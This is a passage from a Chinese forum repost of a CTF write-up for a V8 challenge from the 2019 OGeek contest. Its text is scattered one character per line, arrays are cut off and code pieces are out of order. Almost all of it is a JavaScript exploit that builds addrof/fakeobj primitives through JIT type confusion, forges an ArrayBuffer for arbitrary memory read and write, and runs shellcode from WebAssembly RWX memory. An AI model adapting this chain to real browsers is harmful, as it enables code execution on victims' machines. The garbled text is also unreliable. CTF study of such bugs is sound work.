论坛
BBS
空间测绘
发表
发布文章
提问答疑
搜索
您还未登录
登录后即可体验更多功能
立即登录
我的收藏
提问答疑
我要投稿
IOT
[27709] 2019-11-06_OGeek线上CTF挑战赛pwn题详细WriteUp
文档创建者:
s7ckTeam
浏览次数:
1
最后更新:
2025-01-19
IOT
1 人阅读
|
0 人回复
s7ckTeam
s7ckTeam
当前离线
积分
-56
6万
主题
-6万
回帖
-56
积分
管理员
积分
-56
发消息
2019-11-06_OGeek线上CTF挑战赛pwn题详细WriteUp
O
G
e
e
k
线
上
C
T
F
挑
战
赛
p
w
n
题
详
细
W
r
i
t
e
U
p
原
创
O
S
R
C
O
P
P
O
安
全
应
急
响
应
中
心
2
0
1
9
-
1
1
-
0
6
收
录
于
话
题
#
不
断
学
习
不
断
成
长
,
1
8
个
a
c
e
_
c
h
a
l
l
e
n
g
e
解
压
附
件
,
根
据
附
件
中
的
c
h
a
l
.
p
a
t
c
h
文
件
分
析
题
目
对
v
8
进
行
的
修
改
,
找
到
修
改
后
导
致
的
漏
洞
,
并
编
写
相
应
的
利
用
代
码
:
1
、
e
x
p
l
o
i
t
.
j
s
v
a
r
v
u
l
n
_
i
d
x
=
0
;
v
a
r
r
e
f
s
=
[
]
;
v
a
r
s
h
e
l
l
c
o
d
e
=
[
0
x
4
8
,
0
x
b
f
,
0
x
2
2
,
0
x
1
1
,
0
x
f
f
,
0
x
e
e
,
0
x
d
d
,
0
x
c
c
,
0
x
b
b
,
0
x
a
a
,
0
x
4
8
,
0
x
3
1
,
0
x
f
6
,
0
x
b
8
,
0
x
0
2
,
0
x
0
0
,
0
x
0
0
,
0
x
0
0
,
0
x
0
f
,
0
x
0
5
,
0
x
4
8
,
0
x
8
9
,
0
x
f
e
,
0
x
4
8
,
0
x
8
9
,
0
x
c
7
,
0
x
b
a
,
0
x
6
4
,
0
x
0
0
,
0
x
0
0
,
0
x
0
0
,
0
x
3
1
v
a
r
f
l
a
g
_
b
u
f
f
e
r
=
n
e
w
U
i
n
t
8
A
r
r
a
y
(
0
x
1
0
0
0
)
;
v
a
r
f
l
a
g
_
p
a
t
h
=
"
/
d
a
t
a
/
l
o
c
a
l
/
t
m
p
/
f
l
a
g
"
;
l
e
t
w
a
s
m
_
c
o
d
e
=
n
e
w
U
i
n
t
8
A
r
r
a
y
(
[
0
,
9
7
,
1
1
5
,
1
0
9
,
1
,
0
,
0
,
0
,
1
,
7
,
1
,
9
6
,
2
,
1
2
7
,
1
2
7
,
1
,
1
2
7
,
3
,
2
,
1
,
0
,
4
,
4
,
1
,
1
1
2
,
0
,
0
,
5
,
3
,
1
,
0
,
1
,
7
,
2
1
,
2
,
6
,
1
0
9
,
1
0
1
,
1
0
9
,
1
1
1
,
l
e
t
w
a
s
m
_
m
o
d
=
n
e
w
W
e
b
A
s
s
e
m
b
l
y
.
I
n
s
t
a
n
c
e
(
n
e
w
W
e
b
A
s
s
e
m
b
l
y
.
M
o
d
u
l
e
(
w
a
s
m
_
c
o
d
e
)
,
{
}
)
;
l
e
t
f
=
w
a
s
m
_
m
o
d
.
e
x
p
o
r
t
s
.
_
Z
3
a
d
d
i
i
;
f
u
n
c
t
i
o
n
a
d
d
r
o
f
(
o
b
j
)
{
l
e
t
_
a
d
d
r
o
f
=
e
v
a
l
(
`
(
o
b
j
)
=
>
{
f
u
n
c
t
i
o
n
I
n
n
e
r
$
{
v
u
l
n
_
i
d
x
}
(
)
{
t
h
i
s
.
a
$
{
v
u
l
n
_
i
d
x
}
=
1
.
1
;
t
h
i
s
.
b
$
{
v
u
l
n
_
i
d
x
}
=
2
.
2
;
}
f
u
n
c
t
i
o
n
O
u
t
e
r
$
{
v
u
l
n
_
i
d
x
}
(
i
n
n
e
r
)
{
t
h
i
s
.
i
n
n
e
r
$
{
v
u
l
n
_
i
d
x
}
=
i
n
n
e
r
;
}
v
a
r
i
=
n
e
w
I
n
n
e
r
$
{
v
u
l
n
_
i
d
x
}
(
)
;
v
a
r
o
=
n
e
w
O
u
t
e
r
$
{
v
u
l
n
_
i
d
x
}
(
i
)
;
O
u
t
e
r
$
{
v
u
l
n
_
i
d
x
}
.
p
r
o
t
o
t
y
p
e
.
b
o
o
m
=
f
u
n
c
t
i
o
n
(
)
{
r
e
t
u
r
n
t
h
i
s
.
i
n
n
e
r
$
{
v
u
l
n
_
i
d
x
}
.
a
$
{
v
u
l
n
_
i
d
x
}
;
}
f
o
r
(
v
a
r
i
d
x
=
0
;
i
d
x
<
0
x
1
0
0
0
0
;
i
d
x
+
+
)
{
o
.
b
o
o
m
(
)
;
}
o
=
n
e
w
O
u
t
e
r
$
{
v
u
l
n
_
i
d
x
}
(
{
a
$
{
v
u
l
n
_
i
d
x
}
:
o
b
j
,
b
$
{
v
u
l
n
_
i
d
x
}
:
2
.
2
}
)
;
r
e
t
u
r
n
o
.
b
o
o
m
(
)
;
}
`
)
;
v
u
l
n
_
i
d
x
+
=
1
;
r
e
t
u
r
n
_
a
d
d
r
o
f
(
o
b
j
)
;
}
f
u
n
c
t
i
o
n
f
a
k
e
o
b
j
(
a
d
d
r
)
{
l
e
t
_
f
a
k
e
o
b
j
=
e
v
a
l
(
`
(
a
d
d
r
)
=
>
{
f
u
n
c
t
i
o
n
I
n
n
e
r
$
{
v
u
l
n
_
i
d
x
}
(
)
{
t
h
i
s
.
a
$
{
v
u
l
n
_
i
d
x
}
=
[
]
;
t
h
i
s
.
b
$
{
v
u
l
n
_
i
d
x
}
=
2
.
2
;
}
f
u
n
c
t
i
o
n
O
u
t
e
r
$
{
v
u
l
n
_
i
d
x
}
(
i
n
n
e
r
)
{
t
h
i
s
.
i
n
n
e
r
$
{
v
u
l
n
_
i
d
x
}
=
i
n
n
e
r
;
}
v
a
r
i
=
n
e
w
I
n
n
e
r
$
{
v
u
l
n
_
i
d
x
}
(
)
;
v
a
r
o
=
n
e
w
O
u
t
e
r
$
{
v
u
l
n
_
i
d
x
}
(
i
)
;
O
u
t
e
r
$
{
v
u
l
n
_
i
d
x
}
.
p
r
o
t
o
t
y
p
e
.
b
o
o
m
=
f
u
n
c
t
i
o
n
(
)
{
r
e
t
u
r
n
t
h
i
s
.
i
n
n
e
r
$
{
v
u
l
n
_
i
d
x
}
.
a
$
{
v
u
l
n
_
i
d
x
}
;
}
f
o
r
(
v
a
r
i
d
x
=
0
;
i
d
x
<
0
x
1
0
0
0
0
;
i
d
x
+
+
)
{
o
.
b
o
o
m
(
)
;
}
o
=
n
e
w
O
u
t
e
r
$
{
v
u
l
n
_
i
d
x
}
(
{
a
$
{
v
u
l
n
_
i
d
x
}
:
a
d
d
r
,
b
$
{
v
u
l
n
_
i
d
x
}
:
2
.
2
}
)
;
r
e
t
u
r
n
o
.
b
o
o
m
(
)
;
}
`
)
;
v
u
l
n
_
i
d
x
+
=
1
;
r
e
t
u
r
n
_
f
a
k
e
o
b
j
(
a
d
d
r
)
;
}
/
/
l
e
a
k
m
a
p
u
s
i
n
g
o
o
b
f
u
n
c
t
i
o
n
l
e
a
k
_
m
a
p
(
)
{
f
u
n
c
t
i
o
n
O
u
t
e
r
(
i
n
n
e
r
)
{
t
h
i
s
.
i
n
n
e
r
=
i
n
n
e
r
;
}
v
a
r
c
r
o
s
s
_
o
f
f
=
1
7
;
v
a
r
o
b
j
_
s
t
r
=
"
v
a
r
i
n
n
e
r
=
{
"
;
f
o
r
(
v
a
r
i
=
0
;
i
<
=
c
r
o
s
s
_
o
f
f
;
i
+
+
)
{
o
b
j
_
s
t
r
+
=
S
t
r
i
n
g
.
f
r
o
m
C
h
a
r
C
o
d
e
(
0
x
6
1
+
i
)
;
o
b
j
_
s
t
r
+
=
"
:
1
.
1
,
"
;
}
o
b
j
_
s
t
r
+
=
"
}
"
;
e
v
a
l
(
o
b
j
_
s
t
r
)
;
v
a
r
o
u
t
e
r
=
n
e
w
O
u
t
e
r
(
i
n
n
e
r
)
;
O
u
t
e
r
.
p
r
o
t
o
t
y
p
e
.
b
o
o
m
=
f
u
n
c
t
i
o
n
(
)
{
r
e
t
u
r
n
t
h
i
s
.
i
n
n
e
r
.
r
;
}
;
v
a
r
i
2
=
{
a
:
1
.
1
,
b
:
2
.
2
}
;
v
a
r
a
b
=
n
e
w
A
r
r
a
y
B
u
f
f
e
r
(
0
x
1
0
0
)
;
f
o
r
(
v
a
r
i
=
0
;
i
<
2
0
0
0
0
;
i
+
+
)
{
o
u
t
e
r
.
b
o
o
m
(
)
;
}
o
u
t
e
r
=
n
e
w
O
u
t
e
r
(
i
2
)
;
v
a
r
l
e
a
k
=
o
u
t
e
r
.
b
o
o
m
(
)
;
r
e
t
u
r
n
l
e
a
k
;
}
f
u
n
c
t
i
o
n
u
2
d
(
u
)
{
r
e
t
u
r
n
(
n
e
w
I
n
t
6
4
(
u
)
)
.
a
s
D
o
u
b
l
e
(
)
;
}
f
u
n
c
t
i
o
n
p
w
n
(
)
{
/
/
p
r
e
p
a
r
a
t
i
o
n
f
o
r
(
v
a
r
i
=
0
;
i
<
0
x
1
0
0
0
;
i
+
+
)
{
r
e
f
s
.
p
u
s
h
(
[
0
.
0
,
1
.
1
,
2
.
2
,
3
.
3
,
4
.
4
,
5
.
5
,
6
.
6
,
7
.
7
]
)
;
}
/
/
t
e
s
t
e
x
p
l
o
i
t
p
r
i
m
i
t
i
v
e
s
v
a
r
o
b
j
=
[
1
.
1
,
2
.
2
,
3
.
3
,
4
.
4
]
;
v
a
r
o
b
j
a
d
d
r
=
a
d
d
r
o
f
(
o
b
j
)
;
v
a
r
o
=
f
a
k
e
o
b
j
(
o
b
j
a
d
d
r
)
;
i
f
(
o
[
0
]
!
=
1
.
1
)
{
p
r
i
n
t
(
"
[
-
]
E
x
p
l
o
i
t
p
r
i
m
i
t
i
v
e
s
n
o
t
w
o
r
k
i
n
g
.
.
"
)
;
r
e
t
u
r
n
;
}
p
r
i
n
t
(
"
[
+
]
E
x
p
l
o
i
t
p
r
i
m
i
t
i
v
e
s
w
o
r
k
i
n
g
f
i
n
e
.
"
)
;
/
/
e
x
p
l
o
i
t
a
t
i
o
n
v
a
r
a
b
_
m
a
p
=
l
e
a
k
_
m
a
p
(
)
;
p
r
i
n
t
(
"
[
+
]
L
e
a
k
e
d
m
a
p
=
"
+
I
n
t
6
4
.
f
r
o
m
D
o
u
b
l
e
(
a
b
_
m
a
p
)
.
t
o
S
t
r
i
n
g
(
)
)
;
v
a
r
o
=
{
a
:
0
.
0
,
b
:
0
.
0
,
c
:
0
.
0
,
d
:
0
.
0
,
e
:
0
.
0
,
f
:
0
.
0
,
g
:
0
.
0
,
h
:
0
.
0
,
i
:
0
.
0
,
j
:
0
.
0
}
;
o
.
b
=
a
b
_
m
a
p
;
o
.
c
=
a
b
_
m
a
p
;
o
.
d
=
a
b
_
m
a
p
;
o
.
e
=
u
2
d
(
0
x
4
0
0
)
;
o
.
f
=
u
2
d
(
0
x
4
1
4
1
4
1
4
1
)
;
o
.
g
=
a
b
_
m
a
p
;
v
a
r
o
_
a
d
d
r
=
I
n
t
6
4
.
f
r
o
m
D
o
u
b
l
e
(
a
d
d
r
o
f
(
o
)
)
;
p
r
i
n
t
(
"
[
+
]
O
b
j
e
c
t
a
d
d
r
e
s
s
:
"
+
o
_
a
d
d
r
.
t
o
S
t
r
i
n
g
(
)
)
;
v
a
r
f
a
k
e
d
=
A
d
d
(
o
_
a
d
d
r
,
0
x
2
0
)
;
v
a
r
f
a
k
e
_
a
b
=
f
a
k
e
o
b
j
(
f
a
k
e
d
.
a
s
D
o
u
b
l
e
(
)
)
;
p
r
i
n
t
(
"
[
+
]
F
a
k
e
A
r
r
a
y
B
u
f
f
e
r
c
r
e
a
t
e
d
.
L
e
n
g
t
h
:
"
+
f
a
k
e
_
a
b
.
b
y
t
e
L
e
n
g
t
h
)
;
v
a
r
r
w
=
{
s
e
t
_
a
d
d
r
:
f
u
n
c
t
i
o
n
(
a
d
d
r
)
{
o
.
f
=
a
d
d
r
.
a
s
D
o
u
b
l
e
(
)
;
}
,
w
r
i
t
e
:
f
u
n
c
t
i
o
n
(
a
d
d
r
,
b
y
t
e
s
)
{
t
h
i
s
.
s
e
t
_
a
d
d
r
(
a
d
d
r
)
;
v
a
r
v
i
e
w
=
n
e
w
U
i
n
t
8
A
r
r
a
y
(
f
a
k
e
_
a
b
)
;
v
i
e
w
.
s
e
t
(
b
y
t
e
s
)
;
}
,
r
e
a
d
8
:
f
u
n
c
t
i
o
n
(
a
d
d
r
)
{
t
h
i
s
.
s
e
t
_
a
d
d
r
(
a
d
d
r
)
;
v
a
r
v
i
e
w
=
n
e
w
U
i
n
t
8
A
r
r
a
y
(
f
a
k
e
_
a
b
)
;
r
e
t
u
r
n
n
e
w
I
n
t
6
4
(
v
i
e
w
.
s
l
i
c
e
(
0
,
8
)
)
;
}
,
a
d
d
r
o
f
:
f
u
n
c
t
i
o
n
(
o
b
j
)
{
r
e
t
u
r
n
I
n
t
6
4
.
f
r
o
m
D
o
u
b
l
e
(
a
d
d
r
o
f
(
o
b
j
)
)
;
}
2
、
i
n
t
6
4
.
j
s
}
}
;
/
/
v
a
r
f
l
a
g
_
a
b
=
n
e
w
U
i
n
t
8
A
r
r
a
y
(
[
1
,
2
,
3
]
)
;
v
a
r
a
d
d
r
_
f
=
r
w
.
a
d
d
r
o
f
(
f
)
;
p
r
i
n
t
(
"
[
+
]
f
u
n
c
=
"
+
a
d
d
r
_
f
.
t
o
S
t
r
i
n
g
(
)
)
;
v
a
r
s
h
a
r
e
d
_
f
u
n
c
_
i
n
f
o
=
r
w
.
r
e
a
d
8
(
A
d
d
(
S
u
b
(
a
d
d
r
_
f
,
I
n
t
6
4
.
O
n
e
)
,
n
e
w
I
n
t
6
4
(
0
x
1
8
)
)
)
;
p
r
i
n
t
(
"
[
+
]
s
h
a
r
e
d
_
f
u
n
c
_
i
n
f
o
=
"
+
s
h
a
r
e
d
_
f
u
n
c
_
i
n
f
o
.
t
o
S
t
r
i
n
g
(
)
)
;
v
a
r
e
x
p
o
r
t
e
d
=
r
w
.
r
e
a
d
8
(
A
d
d
(
S
u
b
(
s
h
a
r
e
d
_
f
u
n
c
_
i
n
f
o
,
I
n
t
6
4
.
O
n
e
)
,
n
e
w
I
n
t
6
4
(
8
)
)
)
;
p
r
i
n
t
(
"
[
+
]
e
x
p
o
r
t
e
d
=
"
+
e
x
p
o
r
t
e
d
.
t
o
S
t
r
i
n
g
(
)
)
;
v
a
r
i
n
s
t
a
n
c
e
=
r
w
.
r
e
a
d
8
(
A
d
d
(
S
u
b
(
e
x
p
o
r
t
e
d
,
I
n
t
6
4
.
O
n
e
)
,
n
e
w
I
n
t
6
4
(
0
x
1
0
)
)
)
;
p
r
i
n
t
(
"
[
+
]
i
n
s
t
a
n
c
e
=
"
+
i
n
s
t
a
n
c
e
.
t
o
S
t
r
i
n
g
(
)
)
;
v
a
r
r
w
x
_
m
e
m
o
r
y
=
r
w
.
r
e
a
d
8
(
A
d
d
(
S
u
b
(
i
n
s
t
a
n
c
e
,
I
n
t
6
4
.
O
n
e
)
,
n
e
w
I
n
t
6
4
(
0
x
8
8
)
)
)
;
p
r
i
n
t
(
"
[
+
]
r
w
x
_
m
e
m
o
r
y
=
"
+
r
w
x
_
m
e
m
o
r
y
.
t
o
S
t
r
i
n
g
(
)
)
;
v
a
r
f
b
_
a
d
d
r
=
r
w
.
a
d
d
r
o
f
(
f
l
a
g
_
b
u
f
f
e
r
)
;
p
r
i
n
t
(
"
[
+
]
f
b
_
a
d
d
r
=
"
+
f
b
_
a
d
d
r
.
t
o
S
t
r
i
n
g
(
)
)
;
v
a
r
b
u
f
_
a
d
d
r
=
r
w
.
r
e
a
d
8
(
A
d
d
(
S
u
b
(
f
b
_
a
d
d
r
,
I
n
t
6
4
.
O
n
e
)
,
n
e
w
I
n
t
6
4
(
0
x
3
8
)
)
)
;
p
r
i
n
t
(
"
[
+
]
b
u
f
_
a
d
d
r
=
"
+
b
u
f
_
a
d
d
r
.
t
o
S
t
r
i
n
g
(
)
)
;
f
o
r
(
v
a
r
i
=
0
;
i
<
f
l
a
g
_
p
a
t
h
.
l
e
n
g
t
h
;
i
+
+
)
{
f
l
a
g
_
b
u
f
f
e
r
[
i
]
=
f
l
a
g
_
p
a
t
h
.
c
h
a
r
C
o
d
e
A
t
(
i
)
;
}
f
o
r
(
v
a
r
i
=
0
;
i
<
8
;
i
+
+
)
{
s
h
e
l
l
c
o
d
e
[
i
+
2
]
=
b
u
f
_
a
d
d
r
.
b
y
t
e
A
t
(
i
)
;
}
r
w
.
w
r
i
t
e
(
r
w
x
_
m
e
m
o
r
y
,
s
h
e
l
l
c
o
d
e
)
;
f
(
)
;
v
a
r
f
l
a
g
=
"
"
;
f
o
r
(
v
a
r
i
=
0
;
i
<
f
l
a
g
_
b
u
f
f
e
r
.
l
e
n
g
t
h
;
i
+
+
)
{
i
f
(
f
l
a
g
_
b
u
f
f
e
r
[
i
]
=
=
0
)
{
b
r
e
a
k
;
}
f
l
a
g
+
=
S
t
r
i
n
g
.
f
r
o
m
C
h
a
r
C
o
d
e
(
f
l
a
g
_
b
u
f
f
e
r
[
i
]
)
;
}
p
r
i
n
t
(
"
[
+
]
F
l
a
g
=
"
+
f
l
a
g
)
;
p
r
i
n
t
(
"
[
+
]
D
o
n
e
!
"
)
;
r
e
t
u
r
n
;
}
/
/
/
/
T
i
n
y
m
o
d
u
l
e
t
h
a
t
p
r
o
v
i
d
e
s
b
i
g
(
6
4
b
i
t
)
i
n
t
e
g
e
r
s
.
/
/
/
/
C
o
p
y
r
i
g
h
t
(
c
)
2
0
1
6
S
a
m
u
e
l
G
r
o
ß
/
/
/
/
R
e
q
u
i
r
e
s
u
t
i
l
s
.
j
s
/
/
/
/
D
a
t
a
t
y
p
e
t
o
r
e
p
r
e
s
e
n
t
6
4
-
b
i
t
i
n
t
e
g
e
r
s
.
/
/
/
/
I
n
t
e
r
n
a
l
l
y
,
t
h
e
i
n
t
e
g
e
r
i
s
s
t
o
r
e
d
a
s
a
U
i
n
t
8
A
r
r
a
y
i
n
l
i
t
t
l
e
e
n
d
i
a
n
b
y
t
e
o
r
d
e
r
.
f
u
n
c
t
i
o
n
I
n
t
6
4
(
v
)
{
/
/
T
h
e
u
n
d
e
r
l
y
i
n
g
b
y
t
e
a
r
r
a
y
.
v
a
r
b
y
t
e
s
=
n
e
w
U
i
n
t
8
A
r
r
a
y
(
8
)
;
s
w
i
t
c
h
(
t
y
p
e
o
f
v
)
{
c
a
s
e
'
n
u
m
b
e
r
'
:
v
=
'
0
x
'
+
M
a
t
h
.
f
l
o
o
r
(
v
)
.
t
o
S
t
r
i
n
g
(
1
6
)
;
c
a
s
e
'
s
t
r
i
n
g
'
:
i
f
(
v
.
s
t
a
r
t
s
W
i
t
h
(
'
0
x
'
)
)
v
=
v
.
s
u
b
s
t
r
(
2
)
;
i
f
(
v
.
l
e
n
g
t
h
%
2
=
=
1
)
v
=
'
0
'
+
v
;
v
a
r
b
i
g
E
n
d
i
a
n
=
u
n
h
e
x
l
i
f
y
(
v
,
8
)
;
b
y
t
e
s
.
s
e
t
(
A
r
r
a
y
.
f
r
o
m
(
b
i
g
E
n
d
i
a
n
)
.
r
e
v
e
r
s
e
(
)
)
;
b
r
e
a
k
;
c
a
s
e
'
o
b
j
e
c
t
'
:
i
f
(
v
i
n
s
t
a
n
c
e
o
f
I
n
t
6
4
)
{
i
f
(
v
i
n
s
t
a
n
c
e
o
f
I
n
t
6
4
)
{
b
y
t
e
s
.
s
e
t
(
v
.
b
y
t
e
s
(
)
)
;
}
e
l
s
e
{
i
f
(
v
.
l
e
n
g
t
h
!
=
8
)
t
h
r
o
w
T
y
p
e
E
r
r
o
r
(
"
A
r
r
a
y
m
u
s
t
h
a
v
e
e
x
c
a
c
t
l
y
8
e
l
e
m
e
n
t
s
.
"
)
;
b
y
t
e
s
.
s
e
t
(
v
)
;
}
b
r
e
a
k
;
c
a
s
e
'
u
n
d
e
f
i
n
e
d
'
:
b
r
e
a
k
;
d
e
f
a
u
l
t
:
t
h
r
o
w
T
y
p
e
E
r
r
o
r
(
"
I
n
t
6
4
c
o
n
s
t
r
u
c
t
o
r
r
e
q
u
i
r
e
s
a
n
a
r
g
u
m
e
n
t
.
"
)
;
}
/
/
R
e
t
u
r
n
a
d
o
u
b
l
e
w
h
i
t
h
t
h
e
s
a
m
e
u
n
d
e
r
l
y
i
n
g
b
i
t
r
e
p
r
e
s
e
n
t
a
t
i
o
n
.
t
h
i
s
.
a
s
D
o
u
b
l
e
=
f
u
n
c
t
i
o
n
(
)
{
/
/
C
h
e
c
k
f
o
r
N
a
N
i
f
(
b
y
t
e
s
[
7
]
=
=
0
x
f
f
&
&
(
b
y
t
e
s
[
6
]
=
=
0
x
f
f
|
|
b
y
t
e
s
[
6
]
=
=
0
x
f
e
)
)
t
h
r
o
w
n
e
w
R
a
n
g
e
E
r
r
o
r
(
"
I
n
t
e
g
e
r
c
a
n
n
o
t
b
e
r
e
p
r
e
s
e
n
t
e
d
b
y
a
d
o
u
b
l
e
"
)
;
r
e
t
u
r
n
S
t
r
u
c
t
.
u
n
p
a
c
k
(
S
t
r
u
c
t
.
f
l
o
a
t
6
4
,
b
y
t
e
s
)
;
}
;
/
/
R
e
t
u
r
n
a
j
a
v
a
s
c
r
i
p
t
v
a
l
u
e
w
i
t
h
t
h
e
s
a
m
e
u
n
d
e
r
l
y
i
n
g
b
i
t
r
e
p
r
e
s
e
n
t
a
t
i
o
n
.
/
/
T
h
i
s
i
s
o
n
l
y
p
o
s
s
i
b
l
e
f
o
r
i
n
t
e
g
e
r
s
i
n
t
h
e
r
a
n
g
e
[
0
x
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
,
0
x
f
f
f
f
0
0
0
0
0
0
0
0
0
0
0
0
)
/
/
d
u
e
t
o
d
o
u
b
l
e
c
o
n
v
e
r
s
i
o
n
c
o
n
s
t
r
a
i
n
t
s
.
t
h
i
s
.
a
s
J
S
V
a
l
u
e
=
f
u
n
c
t
i
o
n
(
)
{
i
f
(
(
b
y
t
e
s
[
7
]
=
=
0
&
&
b
y
t
e
s
[
6
]
=
=
0
)
|
|
(
b
y
t
e
s
[
7
]
=
=
0
x
f
f
&
&
b
y
t
e
s
[
6
]
=
=
0
x
f
f
)
)
t
h
r
o
w
n
e
w
R
a
n
g
e
E
r
r
o
r
(
"
I
n
t
e
g
e
r
c
a
n
n
o
t
b
e
r
e
p
r
e
s
e
n
t
e
d
b
y
a
J
S
V
a
l
u
e
"
)
;
/
/
F
o
r
N
a
N
-
b
o
x
i
n
g
,
J
S
C
a
d
d
s
2
^
4
8
t
o
a
d
o
u
b
l
e
v
a
l
u
e
'
s
b
i
t
p
a
t
t
e
r
n
.
t
h
i
s
.
a
s
s
i
g
n
S
u
b
(
t
h
i
s
,
0
x
1
0
0
0
0
0
0
0
0
0
0
0
0
)
;
v
a
r
r
e
s
=
S
t
r
u
c
t
.
u
n
p
a
c
k
(
S
t
r
u
c
t
.
f
l
o
a
t
6
4
,
b
y
t
e
s
)
;
t
h
i
s
.
a
s
s
i
g
n
A
d
d
(
t
h
i
s
,
0
x
1
0
0
0
0
0
0
0
0
0
0
0
0
)
;
r
e
t
u
r
n
r
e
s
;
}
;
/
/
R
e
t
u
r
n
t
h
e
u
n
d
e
r
l
y
i
n
g
b
y
t
e
s
o
f
t
h
i
s
n
u
m
b
e
r
a
s
a
r
r
a
y
.
t
h
i
s
.
b
y
t
e
s
=
f
u
n
c
t
i
o
n
(
)
{
r
e
t
u
r
n
A
r
r
a
y
.
f
r
o
m
(
b
y
t
e
s
)
;
}
;
/
/
R
e
t
u
r
n
t
h
e
b
y
t
e
a
t
t
h
e
g
i
v
e
n
i
n
d
e
x
.
t
h
i
s
.
b
y
t
e
A
t
=
f
u
n
c
t
i
o
n
(
i
)
{
r
e
t
u
r
n
b
y
t
e
s
[
i
]
;
}
;
/
/
R
e
t
u
r
n
t
h
e
v
a
l
u
e
o
f
t
h
i
s
n
u
m
b
e
r
a
s
u
n
s
i
g
n
e
d
h
e
x
s
t
r
i
n
g
.
t
h
i
s
.
t
o
S
t
r
i
n
g
=
f
u
n
c
t
i
o
n
(
)
{
r
e
t
u
r
n
'
0
x
'
+
h
e
x
l
i
f
y
(
A
r
r
a
y
.
f
r
o
m
(
b
y
t
e
s
)
.
r
e
v
e
r
s
e
(
)
)
;
}
;
t
h
i
s
.
a
s
I
n
t
=
f
u
n
c
t
i
o
n
(
)
{
r
e
t
u
r
n
p
a
r
s
e
I
n
t
(
t
h
i
s
.
t
o
S
t
r
i
n
g
(
)
)
;
}
/
/
B
a
s
i
c
a
r
i
t
h
m
e
t
i
c
.
/
/
T
h
e
s
e
f
u
n
c
t
i
o
n
s
a
s
s
i
g
n
t
h
e
r
e
s
u
l
t
o
f
t
h
e
c
o
m
p
u
t
a
t
i
o
n
t
o
t
h
e
i
r
'
t
h
i
s
'
o
b
j
e
c
t
.
/
/
D
e
c
o
r
a
t
o
r
f
o
r
I
n
t
6
4
i
n
s
t
a
n
c
e
o
p
e
r
a
t
i
o
n
s
.
T
a
k
e
s
c
a
r
e
/
/
o
f
c
o
n
v
e
r
t
i
n
g
a
r
g
u
m
e
n
t
s
t
o
I
n
t
6
4
i
n
s
t
a
n
c
e
s
i
f
r
e
q
u
i
r
e
d
.
f
u
n
c
t
i
o
n
o
p
e
r
a
t
i
o
n
(
f
,
n
a
r
g
s
)
{
r
e
t
u
r
n
f
u
n
c
t
i
o
n
(
)
{
i
f
(
a
r
g
u
m
e
n
t
s
.
l
e
n
g
t
h
!
=
n
a
r
g
s
)
i
f
(
a
r
g
u
m
e
n
t
s
.
l
e
n
g
t
h
!
=
n
a
r
g
s
)
t
h
r
o
w
E
r
r
o
r
(
"
N
o
t
e
n
o
u
g
h
a
r
g
u
m
e
n
t
s
f
o
r
f
u
n
c
t
i
o
n
"
+
f
.
n
a
m
e
)
;
f
o
r
(
v
a
r
i
=
0
;
i
<
a
r
g
u
m
e
n
t
s
.
l
e
n
g
t
h
;
i
+
+
)
i
f
(
!
(
a
r
g
u
m
e
n
t
s
[
i
]
i
n
s
t
a
n
c
e
o
f
I
n
t
6
4
)
)
a
r
g
u
m
e
n
t
s
[
i
]
=
n
e
w
I
n
t
6
4
(
a
r
g
u
m
e
n
t
s
[
i
]
)
;
r
e
t
u
r
n
f
.
a
p
p
l
y
(
t
h
i
s
,
a
r
g
u
m
e
n
t
s
)
;
}
;
}
/
/
t
h
i
s
=
-
n
(
t
w
o
'
s
c
o
m
p
l
e
m
e
n
t
)
t
h
i
s
.
a
s
s
i
g
n
N
e
g
=
o
p
e
r
a
t
i
o
n
(
f
u
n
c
t
i
o
n
n
e
g
(
n
)
{
f
o
r
(
v
a
r
i
=
0
;
i
<
8
;
i
+
+
)
b
y
t
e
s
[
i
]
=
~
n
.
b
y
t
e
A
t
(
i
)
;
r
e
t
u
r
n
t
h
i
s
.
a
s
s
i
g
n
A
d
d
(
t
h
i
s
,
I
n
t
6
4
.
O
n
e
)
;
}
,
1
)
;
/
/
t
h
i
s
=
a
+
b
t
h
i
s
.
a
s
s
i
g
n
A
d
d
=
o
p
e
r
a
t
i
o
n
(
f
u
n
c
t
i
o
n
a
d
d
(
a
,
b
)
{
v
a
r
c
a
r
r
y
=
0
;
f
o
r
(
v
a
r
i
=
0
;
i
<
8
;
i
+
+
)
{
v
a
r
c
u
r
=
a
.
b
y
t
e
A
t
(
i
)
+
b
.
b
y
t
e
A
t
(
i
)
+
c
a
r
r
y
;
c
a
r
r
y
=
c
u
r
>
0
x
f
f
|
0
;
b
y
t
e
s
[
i
]
=
c
u
r
;
}
r
e
t
u
r
n
t
h
i
s
;
}
,
2
)
;
/
/
t
h
i
s
=
a
-
b
t
h
i
s
.
a
s
s
i
g
n
S
u
b
=
o
p
e
r
a
t
i
o
n
(
f
u
n
c
t
i
o
n
s
u
b
(
a
,
b
)
{
v
a
r
c
a
r
r
y
=
0
;
f
o
r
(
v
a
r
i
=
0
;
i
<
8
;
i
+
+
)
{
v
a
r
c
u
r
=
a
.
b
y
t
e
A
t
(
i
)
-
b
.
b
y
t
e
A
t
(
i
)
-
c
a
r
r
y
;
c
a
r
r
y
=
c
u
r
<
0
|
0
;
b
y
t
e
s
[
i
]
=
c
u
r
;
}
r
e
t
u
r
n
t
h
i
s
;
}
,
2
)
;
/
/
t
h
i
s
=
a
^
b
t
h
i
s
.
a
s
s
i
g
n
X
o
r
=
o
p
e
r
a
t
i
o
n
(
f
u
n
c
t
i
o
n
s
u
b
(
a
,
b
)
{
f
o
r
(
v
a
r
i
=
0
;
i
<
8
;
i
+
+
)
{
b
y
t
e
s
[
i
]
=
a
.
b
y
t
e
A
t
(
i
)
^
b
.
b
y
t
e
A
t
(
i
)
;
}
r
e
t
u
r
n
t
h
i
s
;
}
,
2
)
;
}
/
/
C
o
n
s
t
r
u
c
t
s
a
n
e
w
I
n
t
6
4
i
n
s
t
a
n
c
e
w
i
t
h
t
h
e
s
a
m
e
b
i
t
r
e
p
r
e
s
e
n
t
a
t
i
o
n
a
s
t
h
e
p
r
o
v
i
d
e
d
d
o
u
b
l
e
.
I
n
t
6
4
.
f
r
o
m
D
o
u
b
l
e
=
f
u
n
c
t
i
o
n
(
d
)
{
v
a
r
b
y
t
e
s
=
S
t
r
u
c
t
.
p
a
c
k
(
S
t
r
u
c
t
.
f
l
o
a
t
6
4
,
d
)
;
r
e
t
u
r
n
n
e
w
I
n
t
6
4
(
b
y
t
e
s
)
;
}
;
/
/
C
o
n
v
e
n
i
e
n
c
e
f
u
n
c
t
i
o
n
s
.
T
h
e
s
e
a
l
l
o
c
a
t
e
a
n
e
w
I
n
t
6
